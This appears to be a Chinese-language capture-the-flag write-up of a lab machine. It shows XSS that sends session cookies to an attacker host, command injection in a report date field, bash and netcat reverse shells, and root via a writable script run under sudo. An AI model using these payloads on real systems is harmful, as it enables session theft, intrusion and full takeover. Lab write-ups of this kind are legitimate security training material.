1 信息收集
NMAP端口扫描
nmap -sSCV 10.10.11.8

5000端口测试

检查页面功能,请求 For questions 功能,跳转到 /support 目录

目录扫描
发现 /dashboard 目录

访问 /dashboard 目录,显示未认证,如果通过认证,/dashboard 目录下的功能点可能存在利用点,想办法获取 cookie

2 利用 XSS 获取 cookie

在HttpOnly不启用时,就可能通过 XSS 漏洞获取 cookie,/support 页面 可以进行用户输入,尝试利用此页面进行 XSS 攻击测试
# payload
<script>var i=new Image(); i.src="http://10.10.14.171:8081/?cookie="+btoa(document.cookie);</script>

本地服务器获取到返回的 cookie,base64 加密,进行解密

替换获取到的 cookie,刷新 http://10.10.11.8:5000/dashboard 页面

点击 Generate Report,抓包观察,既然可以通过日期进行查询,那可以测试是否可以拼接系统命令执行

拼接 ;id,执行成功

3 命令执行获取权限
执行命令方法 1
/bin/bash -c 'exec bash -i >& /dev/tcp/10.10.14.171/4444 0>&1'
对反弹 shell 命令进行 URL 编码

执行命令方法 2

本地需要开启 http.server 服务



4 权限提升
# 检查当前用户拥有的权限
sudo -l

发现 /usr/bin/syscheck ,任何用户都可以无需密码执行,检查文件内容,initdb.sh 文件正在运行,那把命令写入 initdb.sh 文件,使用 sudo 执行即可获取 root 权限

echo "nc -e /bin/sh 10.10.14.147 4445" > initdb.sh
chmod +x initdb.sh
sudo /usr/bin/syscheck
